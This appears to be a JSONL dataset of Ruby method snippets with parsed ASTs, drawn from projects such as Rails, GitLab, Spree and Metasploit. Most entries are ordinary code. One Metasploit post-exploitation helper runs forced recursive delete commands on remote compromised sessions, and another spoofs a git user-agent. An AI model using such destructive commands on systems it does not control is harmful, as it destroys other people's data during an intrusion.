{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":980,"raw_source":"def test_field_set_tag_in_erb\n    output_buffer = render_erb(\"<%= field_set_tag('Your details') do %>Hello world!<% end %>\")\n\n    expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)\n    assert_dom_equal expected, output_buffer\n\n    output_buffer = render_erb(\"<%= field_set_tag do %>Hello world!<% end %>\")\n\n    expected = %(<fieldset>Hello world!</fieldset>)\n    assert_dom_equal expected, output_buffer\n\n    output_buffer = render_erb(\"<%= field_set_tag('') do %>Hello world!<% end %>\")\n\n    expected = %(<fieldset>Hello world!</fieldset>)\n    assert_dom_equal expected, output_buffer\n\n    output_buffer = render_erb(\"<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>\")\n\n    expected = %(<fieldset class=\"format\">Hello world!</fieldset>)\n    assert_dom_equal expected, output_buffer\n\n    output_buffer = render_erb(\"<%= fieldset_tag('', :class => 'format') do %>Hello world!<% end %>\")\n\n    expected = %(<fieldset class=\"format\">Hello world!</fieldset>)\n    assert_dom_equal expected, output_buffer\n\n    output_buffer = render_erb(\"<%= field_set_tag %>\")\n\n    expected = %(<fieldset></fieldset>)\n    assert_dom_equal expected, output_buffer\n\n    output_buffer = render_erb(\"<%= field_set_tag('You legend!') %>\")\n\n    expected = %(<fieldset><legend>You legend!</legend></fieldset>)\n    assert_dom_equal expected, output_buffer\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_field_set_tag_in_erb\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= field_set_tag('Your details') do %>Hello world!<% end %>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<fieldset><legend>Your details</legend>Hello world!</fieldset>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= field_set_tag do %>Hello world!<% end %>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<fieldset>Hello world!</fieldset>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= field_set_tag('') do %>Hello world!<% end %>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<fieldset>Hello world!</fieldset>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<fieldset class=\\\"format\\\">Hello world!</fieldset>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= fieldset_tag('', :class => 'format') do %>Hello world!<% end %>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<fieldset class=\\\"format\\\">Hello world!</fieldset>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= field_set_tag %>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<fieldset></fieldset>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output_buffer\",{\"type\":\"send\",\"children\":[null,\"render_erb\",{\"type\":\"str\",\"children\":[\"<%= field_set_tag('You legend!') %>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<fieldset><legend>You legend!</legend></fieldset>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"output_buffer\"]}]}]}]}","id":"13746a66-f7cf-450b-96f7-8b5167ea45dc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/git/smart_http.rb","start_line":44,"raw_source":"def agent\n    major = '2'\n    minor = Rex::Text.rand_text_numeric(1..2)\n\n    \"git/#{major}.#{minor}.#{Rex::Text.rand_text_numeric(1)}\"\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"agent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"major\",{\"type\":\"str\",\"children\":[\"2\"]}]},{\"type\":\"lvasgn\",\"children\":[\"minor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"major\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"minor\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"d0ad80c1-83a0-468c-9301-775f4d3d4158"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/file.rb","start_line":633,"raw_source":"def rm_rf(*remote_dirs)\n    remote_dirs.each do |remote|\n      if session.type == 'meterpreter'\n        session.fs.dir.rmdir(remote) if exist?(remote)\n      elsif session.type == 'powershell'\n        cmd_exec(\"Remove-Item -Path \\\"#{remote}\\\" -Force -Recurse\")\n      elsif session.platform == 'windows'\n        cmd_exec(\"rd /s /q \\\"#{remote}\\\"\")\n      else\n        cmd_exec(\"rm -rf \\\"#{remote}\\\"\")\n      end\n    end\n  end","complexity_score":31.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rm_rf\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"remote_dirs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_dirs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"remote\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exist?\",{\"type\":\"lvar\",\"children\":[\"remote\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"fs\"]},\"dir\"]},\"rmdir\",{\"type\":\"lvar\",\"children\":[\"remote\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"powershell\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Remove-Item -Path \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote\"]}]},{\"type\":\"str\",\"children\":[\"\\\" -Force -Recurse\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rd /s /q \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm -rf \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}]}]}]}","id":"702a0c87-5c17-4d35-8400-b0c7337bc4db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/helpers/auth_helper_spec.rb","start_line":881,"raw_source":"def omniauth_providers_with_step_up_auth_config(step_up_auth_scope)\n    auth_providers.map { |provider| Gitlab::Auth::OAuth::Provider.config_for(provider) }\n                  .select { |provider_config| provider_config.dig(\"step_up_auth\", step_up_auth_scope.to_s).present? }\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"omniauth_providers_with_step_up_auth_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"step_up_auth_scope\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_providers\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"OAuth\"]},\"Provider\"]},\"config_for\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider_config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_config\"]},\"dig\",{\"type\":\"str\",\"children\":[\"step_up_auth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"step_up_auth_scope\"]},\"to_s\"]}]},\"present?\"]}]}]}","id":"f46a9106-1081-4015-8c65-da473fe48a5d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/mysql2/mysql2_rake_test.rb","start_line":170,"raw_source":"def with_stubbed_connection_establish_connection(&block)\n        ActiveRecord::Base.stub(:establish_connection, nil) do\n          ActiveRecord::Base.stub(:lease_connection, @connection, &block)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_stubbed_connection_establish_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"lease_connection\"]},{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"24357da1-21f3-4361-bdcc-0cb60f1d3f2a"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/openai/capabilities.rb","start_line":192,"raw_source":"def format_display_name(model_id)\n          model_id.then { |id| humanize(id) }\n                  .then { |name| apply_special_formatting(name) }\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"format_display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"then\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"humanize\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},\"then\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_special_formatting\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"aec9eb42-4098-4cb8-9124-7a296d339071"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/caching.rb","start_line":116,"raw_source":"def cache_action_unless(conditional, *opts, **kwargs)\n        cache_action_if(!conditional, *opts, **kwargs) do\n          yield\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_action_unless\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conditional\"]},{\"type\":\"restarg\",\"children\":[\"opts\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_action_if\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditional\"]},\"!\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"d8ca14cc-f622-43d0-a171-4ad7bf4a5ed8"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/taxons_controller.rb","start_line":72,"raw_source":"def set_position\n        new_position = params[:taxon][:position]\n        @taxon.child_index = new_position.to_i if new_position\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_position\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"taxon\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@taxon\"]},\"child_index=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_position\"]},\"to_i\"]}]},null]}]}]}","id":"2bef7617-186b-4e71-9dac-b46cc71570a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/application_settings/update_service.rb","start_line":105,"raw_source":"def process_performance_bar_allowed_group_id\n      group_full_path = params.delete(:performance_bar_allowed_group_path)\n      enable_param_on = Gitlab::Utils.to_boolean(params.delete(:performance_bar_enabled))\n      performance_bar_enabled = enable_param_on.nil? || enable_param_on # Default to true\n\n      return if group_full_path.blank?\n      return if enable_param_on == false # Explicitly disabling\n\n      unless performance_bar_enabled\n        application_setting.errors.add(:performance_bar_allowed_group_id, 'not allowed when performance bar is disabled')\n        return\n      end\n\n      group = Group.find_by_full_path(group_full_path.chomp('/'))\n\n      unless group\n        application_setting.errors.add(:performance_bar_allowed_group_id, 'not found')\n        return\n      end\n\n      group.id\n    end","complexity_score":29.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_performance_bar_allowed_group_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"performance_bar_allowed_group_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enable_param_on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"performance_bar_enabled\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"performance_bar_enabled\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enable_param_on\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"enable_param_on\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_full_path\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enable_param_on\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"performance_bar_enabled\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_setting\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"performance_bar_allowed_group_id\"]},{\"type\":\"str\",\"children\":[\"not allowed when performance bar is disabled\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"find_by_full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_full_path\"]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_setting\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"performance_bar_allowed_group_id\"]},{\"type\":\"str\",\"children\":[\"not found\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]}]}]}","id":"1dd962a7-4eed-4d24-8254-4c81338126b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/web_hooks/recursion_detection.rb","start_line":88,"raw_source":"def cache_key_for_hook(hook)\n          [:webhook_recursion_detection, UUID.instance.uuid_for_hook(hook)].join(':')\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_key_for_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"webhook_recursion_detection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UUID\"]},\"instance\"]},\"uuid_for_hook\",{\"type\":\"lvar\",\"children\":[\"hook\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}","id":"3dd342ee-ecd7-4679-be3a-7521daa9f5dd"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/finders/test_selector_finders.rb","start_line":42,"raw_source":"def within_test_selector(value, **, &)\n    target = respond_to?(:page) ? page : self\n    target.within(:test_id, value, **, &)\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"within_test_selector\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwrestarg\",\"children\":[]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"page\"]}]},{\"type\":\"send\",\"children\":[null,\"page\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"within\",{\"type\":\"sym\",\"children\":[\"test_id\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]}","id":"8f8d5b3a-d17a-4ad1-87eb-197574c140e2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/class_and_module_children.rb","start_line":108,"raw_source":"def compact_definition(corrector, node)\n          compact_node(corrector, node)\n          remove_end(corrector, node.body)\n          unindent(corrector, node)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"compact_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compact_node\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_end\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"unindent\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"a24634d2-5563-4077-9889-a82d896769e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/archive.rb","start_line":16,"raw_source":"def execute!(stream)\n          clone_file!(stream, JobArtifactUploader.workhorse_upload_path) do |clone_path|\n            md5_checksum    = self.class.md5_hexdigest(clone_path) unless Gitlab::FIPS.enabled?\n            sha256_checksum = self.class.sha256_hexdigest(clone_path)\n\n            job.transaction do\n              self.trace_artifact = create_build_trace!(clone_path, sha256_checksum)\n              trace_metadata.track_archival!(trace_artifact.id, md5_checksum)\n            end\n          end\n\n          validate_archived_trace unless Gitlab::FIPS.enabled?\n\n          trace_metadata.destroy! if trace_metadata.successfully_archived?\n        end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clone_file!\",{\"type\":\"lvar\",\"children\":[\"stream\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JobArtifactUploader\"]},\"workhorse_upload_path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"clone_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"FIPS\"]},\"enabled?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"md5_checksum\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"md5_hexdigest\",{\"type\":\"lvar\",\"children\":[\"clone_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sha256_checksum\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"sha256_hexdigest\",{\"type\":\"lvar\",\"children\":[\"clone_path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"trace_artifact=\",{\"type\":\"send\",\"children\":[null,\"create_build_trace!\",{\"type\":\"lvar\",\"children\":[\"clone_path\"]},{\"type\":\"lvar\",\"children\":[\"sha256_checksum\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trace_metadata\"]},\"track_archival!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trace_artifact\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"md5_checksum\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"FIPS\"]},\"enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"validate_archived_trace\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trace_metadata\"]},\"successfully_archived?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trace_metadata\"]},\"destroy!\"]},null]}]}]}","id":"8cfc3673-6308-4659-a556-7a4362a345b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/vite_helper.rb","start_line":36,"raw_source":"def universal_stylesheet_link_tag(path, **options)\n    return stylesheet_link_tag(path, **options) unless vite_enabled?\n\n    options[:extname] = false\n\n    vite_stylesheet_tag(css_entrypoint_name(path), **options)\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"universal_stylesheet_link_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vite_enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stylesheet_link_tag\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"extname\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vite_stylesheet_tag\",{\"type\":\"send\",\"children\":[null,\"css_entrypoint_name\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"d0d3519a-b4c4-47db-b289-b5e6a6a70019"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250305070000_replace_ci_runners_with_partitioned_table2.rb","start_line":20,"raw_source":"def rolled_back_migration_already_ran?\n    connection.table_exists?('ci_runners_archived')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rolled_back_migration_already_ran?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"table_exists?\",{\"type\":\"str\",\"children\":[\"ci_runners_archived\"]}]}]}","id":"8dc9bd75-4a04-41c3-92ce-e886b8c090fd"}
